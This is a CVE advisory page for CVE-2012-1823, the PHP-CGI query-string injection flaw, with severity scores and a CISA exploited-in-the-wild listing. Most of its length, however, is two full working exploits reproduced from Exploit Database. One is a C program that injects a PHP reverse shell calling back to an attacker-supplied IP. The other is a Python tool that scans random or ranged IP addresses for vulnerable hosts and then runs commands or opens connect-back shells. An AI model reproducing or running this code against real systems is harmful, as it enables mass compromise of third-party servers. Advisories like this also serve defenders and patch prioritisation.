CVE-2012-1823 Detail

CVE-2012-1823

Score / Severity

9.8

Critical

CVE Descriptions

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-77	Improper Neutralization of Special Elements used in a Command ('Command Injection') The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : PHP-CGI Query String Parameter Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-24 23h00 +00:00

Action is due : 2022-04-14 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 29290

Publication date : 2013-10-28 23h00 +00:00
Author : kingcope
EDB Verified : Yes

/* Apache Magica by Kingcope */ /* gcc apache-magika.c -o apache-magika -lssl */ /* This is a code execution bug in the combination of Apache and PHP. On Debian and Ubuntu the vulnerability is present in the default install of the php5-cgi package. When the php5-cgi package is installed on Debian and Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under /cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute the binary because this binary has a security check enabled when installed with Apache http server and this security check is circumvented by the exploit. When accessing the php-cgi binary the security check will block the request and will not execute the binary. In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security check is done when the php.ini configuration setting cgi.force_redirect is set and the php.ini configuration setting cgi.redirect_status_env is set to no. This makes it possible to execute the binary bypassing the Security check by setting these two php.ini settings. Prior to this code for the Security check getopt is called and it is possible to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the -d switch. If both values are set to zero and the request is sent to the server php-cgi gets fully executed and we can use the payload in the POST data field to execute arbitrary php and therefore we can execute programs on the system. apache-magika.c is an exploit that does exactly the prior described. It does support SSL. /* Affected and tested versions PHP 5.3.10 PHP 5.3.8-1 PHP 5.3.6-13 PHP 5.3.3 PHP 5.2.17 PHP 5.2.11 PHP 5.2.6-3 PHP 5.2.6+lenny16 with Suhosin-Patch Affected versions PHP prior to 5.3.12 PHP prior to 5.4.2 Unaffected versions PHP 4 - getopt parser unexploitable PHP 5.3.12 and up PHP 5.4.2 and up Unaffected versions are patched by CVE-2012-1823. */ /* . /'\rrq rk . // \\ . .x.//fco\\-|- '//cmtco\\zt //6meqrg.\\tq //_________\\' EJPGQO apache-magica.c by Kingcope */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <getopt.h> #include <sys/types.h> #include <stddef.h> #include <openssl/rand.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> typedef struct { int sockfd; SSL *handle; SSL_CTX *ctx; } connection; void usage(char *argv[]) { printf("usage: %s <--target target> <--port port> <--protocol http|https> " \ "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n", argv[0]); exit(1); } char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \ "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \ "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \ "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \ "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \ "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \ "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \ "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \ "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \ "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \ "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \ "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \ "Host: %s\r\n" \ "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \ "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \ "Content-Type: application/x-www-form-urlencoded\r\n" \ "Content-Length: %d\r\n" \ "Connection: close\r\n\r\n%s"; char phpstr[] = "<?php\n" \ "set_time_limit(0);\n" \ "$ip = '%s';\n" \ "$port = %d;\n" \ "$chunk_size = 1400;\n" \ "$write_a = null;\n" \ "$error_a = null;\n" \ "$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \ "$daemon = 0;\n" \ "$debug = 0;\n" \ "if (function_exists('pcntl_fork')) {\n" \ " $pid = pcntl_fork(); \n" \ " if ($pid == -1) {\n" \ " printit(\"ERROR: Can't fork\");\n" \ " exit(1);\n" \ " }\n" \ " if ($pid) {\n" \ " exit(0);\n" \ " }\n" \ " if (posix_setsid() == -1) {\n" \ " printit(\"Error: Can't setsid()\");\n" \ " exit(1);\n" \ " }\n" \ " $daemon = 1;\n" \ "} else {\n" \ " printit(\"WARNING: Failed to daemonise.\");\n" \ "}\n" \ "chdir(\"/\");\n" \ "umask(0);\n" \ "$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \ "if (!$sock) {\n" \ " printit(\"$errstr ($errno)\");\n" \ " exit(1);\n" \ "}\n" \ "$descriptorspec = array(\n" \ " 0 => array(\"pipe\", \"r\"),\n" \ " 1 => array(\"pipe\", \"w\"),\n" \ " 2 => array(\"pipe\", \"w\")\n" \ ");\n" \ "$process = proc_open($shell, $descriptorspec, $pipes);\n" \ "if (!is_resource($process)) {\n" \ " printit(\"ERROR: Can't spawn shell\");\n" \ " exit(1);\n" \ "}\n" \ "stream_set_blocking($pipes[0], 0);\n" \ "stream_set_blocking($pipes[1], 0);\n" \ "stream_set_blocking($pipes[2], 0);\n" \ "stream_set_blocking($sock, 0);\n" \ "while (1) {\n" \ " if (feof($sock)) {\n" \ " printit(\"ERROR: Shell connection terminated\");\n" \ " break;\n" \ " }\n" \ " if (feof($pipes[1])) {\n" \ " printit(\"ERROR: Shell process terminated\");\n" \ " break;\n" \ " }\n" \ " $read_a = array($sock, $pipes[1], $pipes[2]);\n" \ " $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \ " if (in_array($sock, $read_a)) {\n" \ " if ($debug) printit(\"SOCK READ\");\n" \ " $input = fread($sock, $chunk_size);\n" \ " if ($debug) printit(\"SOCK: $input\");\n" \ " fwrite($pipes[0], $input);\n" \ " }\n" \ " if (in_array($pipes[1], $read_a)) {\n" \ " if ($debug) printit(\"STDOUT READ\");\n" \ " $input = fread($pipes[1], $chunk_size);\n" \ " if ($debug) printit(\"STDOUT: $input\");\n" \ " fwrite($sock, $input);\n" \ " }\n" \ " if (in_array($pipes[2], $read_a)) {\n" \ " if ($debug) printit(\"STDERR READ\");\n" \ " $input = fread($pipes[2], $chunk_size);\n" \ " if ($debug) printit(\"STDERR: $input\");\n" \ " fwrite($sock, $input);\n" \ " }\n" \ "}\n" \ "\n" \ "fclose($sock);\n" \ "fclose($pipes[0]);\n" \ "fclose($pipes[1]);\n" \ "fclose($pipes[2]);\n" \ "proc_close($process);\n" \ "function printit ($string) {\n" \ " if (!$daemon) {\n" \ " print \"$string\n\";\n" \ " }\n" \ "}\n" \ "exit(1);\n" \ "?>"; struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port) { struct hostent *he; struct sockaddr_in server, *servercopy; if ((he=gethostbyname(hostname)) == NULL) { printf("Hostname cannot be resolved\n"); exit(255); } servercopy = malloc(sizeof(struct sockaddr_in)); if (!servercopy) { printf("malloc error (1)\n"); exit(255); } memset(&server, '\0', sizeof(struct sockaddr_in)); memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length); server.sin_family = AF_INET; server.sin_port = htons(port); memcpy(servercopy, &server, sizeof(struct sockaddr_in)); return servercopy; } char *sslread(connection *c) { char *rc = NULL; int received, count = 0, count2=0; char ch; for(;;) { if (!rc) rc = calloc(1024, sizeof (char) + 1); else if (count2 % 1024 == 0) { rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1); } received = SSL_read(c->handle, &ch, 1); if (received == 1) { rc[count++] = ch; count2++; if (count2 > 1024*5) break; } else break; } return rc; } char *read_(int sockfd) { char *rc = NULL; int received, count = 0, count2=0; char ch; for(;;) { if (!rc) rc = calloc(1024, sizeof (char) + 1); else if (count2 % 1024 == 0) { rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1); } received = read(sockfd, &ch, 1); if (received == 1) { rc[count++] = ch; count2++; if (count2 > 1024*5) break; } else break; } return rc; } void main(int argc, char *argv[]) { char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL, *interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL; char httpsflag=0; unsigned short port=0, reverseport=0; struct sockaddr_in *server; int sockfd; unsigned int writesize, tmpsize; unsigned int i; connection *sslconnection; printf("-== Apache Magika by Kingcope ==-\n"); for(;;) { int c; int option_index=0; static struct option long_options[] = { {"target", required_argument, 0, 0 }, {"port", required_argument, 0, 0 }, {"protocol", required_argument, 0, 0 }, {"reverse-ip", required_argument, 0, 0 }, {"reverse-port", required_argument, 0, 0 }, {"force-interpreter", required_argument, 0, 0 }, {0, 0, 0, 0 } }; c = getopt_long(argc, argv, "", long_options, &option_index); if (c < 0) break; switch (c) { case 0: switch (option_index) { case 0: if (optarg) { target = calloc(strlen(optarg)+1, sizeof(char)); if (!target) { printf("calloc error (2)\n"); exit(255); } memcpy(target, optarg, strlen(optarg)+1); } break; case 1: if(optarg) port = atoi(optarg); break; case 2: protocol = calloc(strlen(optarg)+1, sizeof(char)); if (!protocol) { printf("calloc error (3)\n"); exit(255); } memcpy(protocol, optarg, strlen(optarg)+1); if (!strcmp(protocol, "https")) httpsflag=1; break; case 3: reverseip = calloc(strlen(optarg)+1, sizeof(char)); if (!reverseip) { printf("calloc error (4)\n"); exit(255); } memcpy(reverseip, optarg, strlen(optarg)+1); break; case 4: reverseport = atoi(optarg); reverseportstr = calloc(strlen(optarg)+1, sizeof(char)); if (!reverseportstr) { printf("calloc error (5)\n"); exit(255); } memcpy(reverseportstr, optarg, strlen(optarg)+1); break; case 5: forceinterpreter = calloc(strlen(optarg)+1, sizeof(char)); if (!forceinterpreter) { printf("calloc error (6)\n"); exit(255); } memcpy(forceinterpreter, optarg, strlen(optarg)+1); break; default: usage(argv); } break; default: usage(argv); } } if ((optind < argc) || !target || !protocol || !port || !reverseip || !reverseport){ usage(argv); } server = gethostbyname_(target, port); if (!server) { printf("Error while resolving hostname. (7)\n"); exit(255); } char *interpreters[5]; int ninterpreters = 5; interpreters[0] = strdup("/cgi-bin/php"); interpreters[1] = strdup("/cgi-bin/php5"); interpreters[2] = strdup("/cgi-bin/php-cgi"); interpreters[3] = strdup("/cgi-bin/php.cgi"); interpreters[4] = strdup("/cgi-bin/php4"); for (i=0;i<ninterpreters;i++) { interpreter = interpreters[i]; if (forceinterpreter) { interpreter = strdup(forceinterpreter); } if (forceinterpreter && i) break; printf("%s\n", interpreter); sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 1) { printf("socket error (8)\n"); exit(255); } if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) < 0) { printf("connect error (9)\n"); exit(255); } if (httpsflag) { sslconnection = (connection*) malloc(sizeof(connection)); if (!sslconnection) { printf("malloc error (10)\n"); exit(255); } sslconnection->handle = NULL; sslconnection->ctx = NULL; SSL_library_init(); sslconnection->ctx = SSL_CTX_new(SSLv23_client_method()); if (!sslconnection->ctx) { printf("SSL_CTX_new error (11)\n"); exit(255); } sslconnection->handle = SSL_new(sslconnection->ctx); if (!sslconnection->handle) { printf("SSL_new error (12)\n"); exit(255); } if (!SSL_set_fd(sslconnection->handle, sockfd)) { printf("SSL_set_fd error (13)\n"); exit(255); } if (SSL_connect(sslconnection->handle) != 1) { printf("SSL_connect error (14)\n"); exit(255); } } tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64; tmpstr = (char*)calloc(tmpsize, sizeof(char)); snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport); writesize = strlen(target) + strlen(interpreter) + strlen(poststr) + strlen(tmpstr) + 64; writestr = (char*)calloc(writesize, sizeof(char)); snprintf(writestr, writesize, poststr, interpreter, target, strlen(tmpstr), tmpstr); if (!httpsflag) { write(sockfd, writestr, strlen(writestr)); readbuf = read_(sockfd); } else { SSL_write(sslconnection->handle, writestr, strlen(writestr)); readbuf = sslread(sslconnection); } if (readbuf) { printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf); } else { printf("read error (15)\n"); exit(255); } } exit(1); }

Exploit Database EDB-ID : 29316

Publication date : 2013-10-30 23h00 +00:00
Author : noptrix
EDB Verified : No

#!/usr/bin/env python # # ap-unlock-v1337.py - apache + php 5.* rem0te c0de execution exploit # # NOTE: # - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :((( # - for connect back shell start netcat/nc and bind port on given host:port # - is ip-range scanner not is multithreaded, but iz multithreaded iz in # random scanner and is scanner from file (greets to MustLive) # - more php paths can be added # - adjust this shit for windows b0xes # # 2013 # by noptrix - http://nullsecurity.net/ import sys, socket, argparse, threading, time, random, select, ssl NONE = 0 VULN = 1 SCMD = 2 XPLT = 3 t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \ '%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \ '%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \ '%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\ '%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\ 'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n' def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt): c0nn_b4ck = \ ''' <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''"; $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork(); if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) { exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) { printit("$errstr ($errno)");exit(1);}$descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port");while (1) { if (feof($sock)) {printit("ERROR: Shell connection terminated");break;} if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;} $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input");fwrite($sock, $input);} if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock); fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process); function printit ($string) {if (!$daemon) {print "$string\n";}}?> ''' return c0nn_b4ck def enc0dez(): n33dz1 = ('cgi-bin', 'php') n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d', 'suhosin.simulation=on', '-d', 'disable_functions=""', '-d', 'open_basedir=none', '-d', 'auto_prepend_file=php://input', '-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0', '-d', 'auto_prepend_file=php://input', '-n') fl4g = 0 arg5 = '' p4th = '' plus = '' for x in n33dz2: if fl4g == 1: plus = '+' arg5 = arg5 + plus + \ ''.join('%' + c.encode('utf-8').encode('hex') for c in x) fl4g = 1 for x in n33dz1: p4th = p4th + '/' + \ ''.join('%' + c.encode('utf-8').encode('hex') for c in x) return (p4th, arg5) def m4k3_p4yl0rd(p4yl0rd, m0de): p4th, arg5 = enc0dez() if m0de == VULN: p4yl0rd = t3st elif m0de == SCMD or m0de == XPLT: p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \ 'Host: ' + sys.argv[1] + '\r\n' \ 'Content-Type: application/x-www-form-urlencoded\r\n' \ 'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd return p4yl0rd def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck): pat = ('Parse error:', 'Warning:') s = d0_c0nn3ct(args) try: ss = socket.ssl(s) except: print "-> n0 w3bs3rv3r 0n %s" % (args.h) return if m0de == VULN: p4yl0rd = m4k3_p4yl0rd('', m0de) ss.write(p4yl0rd) try: d4t4 = ss.read(8192) except: return for p in pat: if p in d4t4: print "-> " + args.h + " vu1n" return args.h else: if args.v: print "-> %s n0t vu1n" % (args.h) return elif m0de == SCMD: p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de) ss.write(p4yl0rd) rd, wd, ex = select.select([s], [], [], float(args.T)) if rd: for l1n3 in ss.read(): sys.stdout.write(l1n3) elif m0de == XPLT: p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de) ss.write(p4yl0rd) else: if args.v: print "-> n0 w3bs3rv3r 0n %s" % (args.h) return def s3nd_sh1t(args, m0de, c0nn_b4ck): pat = ('Parse error:', 'Warning:') s = d0_c0nn3ct(args) if s: if m0de == VULN: p4yl0rd = m4k3_p4yl0rd('', m0de) s.sendall(p4yl0rd) try: d4t4 = s.recv(8192) except: return for p in pat: try: if p in d4t4: print "-> " + args.h + " vu1n" if args.f: wr1te_fil3(args) return args.h else: if args.v: print "-> %s n0t vu1n" % (args.h) return except: return elif m0de == SCMD: p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de) s.sendall(p4yl0rd) rd, wd, ex = select.select([s], [], [], float(args.T)) if rd: try: for l1n3 in s.makefile(): print l1n3, except: return elif m0de == XPLT: p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de) s.sendall(p4yl0rd) else: if args.v: print "-> c0uld n0t c0nn3ct t0 %s" % (args.h) return def d0_c0nn3ct(args): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(float(args.t)) res = s.connect_ex((args.h, int(args.p))) if res == 0: return s except socket.error: return return def m4k3_r4nd_1p4ddr(num): h0sts = [] for x in range(int(num)): h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255), random.randrange(0,255), random.randrange(0,255), random.randrange(0,255))) return h0sts def d0_sc4n(args, h0st, m0de, vu1nz, rsa, rsb): args.h = h0st.rstrip() if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) return def sc4n_r4ng3(args, m0de, rsa, rsb): vu1nz = [] for i in range (rsa[0], rsb[0]): for j in range (rsa[1], rsb[1]): for k in range (rsa[2], rsb[2]): for l in range(rsa[3], rsb[3]): args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l) if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) return def m4k3_ipv4_r4ng3(iprange): a = tuple(part for part in iprange.split('.')) rsa = (range(4)) rsb = (range(4)) for i in range(0,4): ga = a[i].find('-') if ga != -1: rsa[i] = int(a[i][:ga]) rsb[i] = int(a[i][1+ga:]) + 1 else: rsa[i] = int(a[i]) rsb[i] = int(a[i]) + 1 return (rsa, rsb) def parse_args(): p = argparse.ArgumentParser( usage='\n\n ./ap-unlock-v1337.py -h <4rg> -s | -c <4rg> | -x <4rg> ' \ '[0pt1ons]\n ./ap-unlock-v1337.py -r <4rg> | -R <4rg> | -i <4rg>'\ ' [0pt1ons]', formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False) opts = p.add_argument_group('0pt1ons', '') opts.add_argument('-h', metavar='wh1t3h4tz.0rg', help='| t3st s1ngle h0st f0r vu1n') opts.add_argument('-p', default=80, metavar='80', help='| t4rg3t p0rt (d3fau1t: 80)') opts.add_argument('-S', action='store_true', help='| c0nn3ct thr0ugh ss1') opts.add_argument('-c', metavar='\'uname -a;id\'', help='| s3nd c0mm4nds t0 h0st') opts.add_argument('-x', metavar='192.168.0.2:1337', help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll') opts.add_argument('-s', action='store_true', help='| t3st s1ngl3 h0st f0r vu1n') opts.add_argument('-r', metavar='133.1.3-7.7-37', help='| sc4nz iP addr3ss r4ng3 f0r vu1n') opts.add_argument('-R', metavar='1337', help='| sc4nz num r4nd0m h0st5 f0r vu1n') opts.add_argument('-t', default=2, metavar='2', help='| c0nn3ct t1me0ut in s3x (d3fau1t: 3)') opts.add_argument('-T', default=2, metavar='2', help='| r3ad t1me0ut in s3x (d3fau1t: 3)') opts.add_argument('-f', metavar='vu1n.lst', help='| wr1t3 vu1n h0sts t0 f1l3') opts.add_argument('-i', metavar='sc4nz.lst', help='| sc4nz h0sts fr0m f1le f0r vu1n') opts.add_argument('-v', action='store_true', help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng') args = p.parse_args() if not args.h and not args.r and not args.R and not args.i: p.print_help() sys.exit(0) return args def wr1te_fil3(args): try: f = open(args.f, "a+") f.write(args.h + "\n") f.close() except: sys.stderr.write('[-] 3rr0r: de1n3 mudd1 k0cht guT') sys.stderr.write('\n') raise SystemExit() return def run_threads(args, h0sts, m0de, vu1nz, rsa, rsb): num_h0sts = len(h0sts) num = 0 try: if args.r: sc4n_r4ng3(args, m0de, rsa, rsb) else: for h0st in h0sts: num += 1 if args.v: sys.stdout.flush() sys.stdout.write("[" + str(num) + "/" + str(num_h0sts) + "] ") else: sys.stdout.flush() sys.stdout.write("\r[+] h0sts sc4nn3d: " + str(num) + "/" + str(num_h0sts) + " \b") t = threading.Thread(target=d0_sc4n, args=(args, h0st, m0de, vu1nz, None, None)) t.start() t.join() except KeyboardInterrupt: sys.stdout.flush() sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n") raise SystemExit return def c0ntr0ller(): vu1nz = [] m0de = NONE try: args = parse_args() if args.h: if args.s: print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h) m0de = VULN if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) elif args.c: print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h) m0de = SCMD if args.S: s3nd_sh1t_ss1(args, m0de, None) else: s3nd_sh1t(args, m0de, None) elif args.x: print "[+] xpl0it1ng b0x %s " % (args.h) m0de = XPLT if args.x.find(':') != -1: if not args.x.split(':')[1]: print "[-] 3rr0r: p0rt m1ss1ng" else: cb_h0st = args.x.split(':')[0] cb_p0rt = args.x.split(':')[1] else: print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r" c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt) if args.S: s3nd_sh1t_ss1(args, m0de, c0nn_b4ck) else: s3nd_sh1t(args, m0de, c0nn_b4ck) else: print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch" sys.exit(-1) if args.r: print "[+] sc4nn1ng r4ng3 %s " % (args.r) m0de = VULN rsa, rsb = m4k3_ipv4_r4ng3(args.r) run_threads(args, None, m0de, None, rsa, rsb) if args.R: print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R)) m0de = VULN h0sts = m4k3_r4nd_1p4ddr(int(args.R)) run_threads(args, h0sts, m0de, vu1nz, None, None) if args.i: print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i) m0de = VULN h0sts = tuple(open(args.i, 'r')) run_threads(args, h0sts, m0de, vu1nz, None, None) except KeyboardInterrupt: sys.stdout.flush() sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n") raise SystemExit return def m41n(): if __name__ == "__main__": print "--==[ ap-unlock-v1337.py by [email protected] ]==--" c0ntr0ller() else: print "[-] 3rr0r: y0u fuck3d up dud3" sys.exit(1) print "[+] h0p3 1t h3lp3d" # \o/ fr33 requiem 1337 h4x0rs ... m41n() # e0F

Exploit Database EDB-ID : 18834

Publication date : 2012-05-03 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

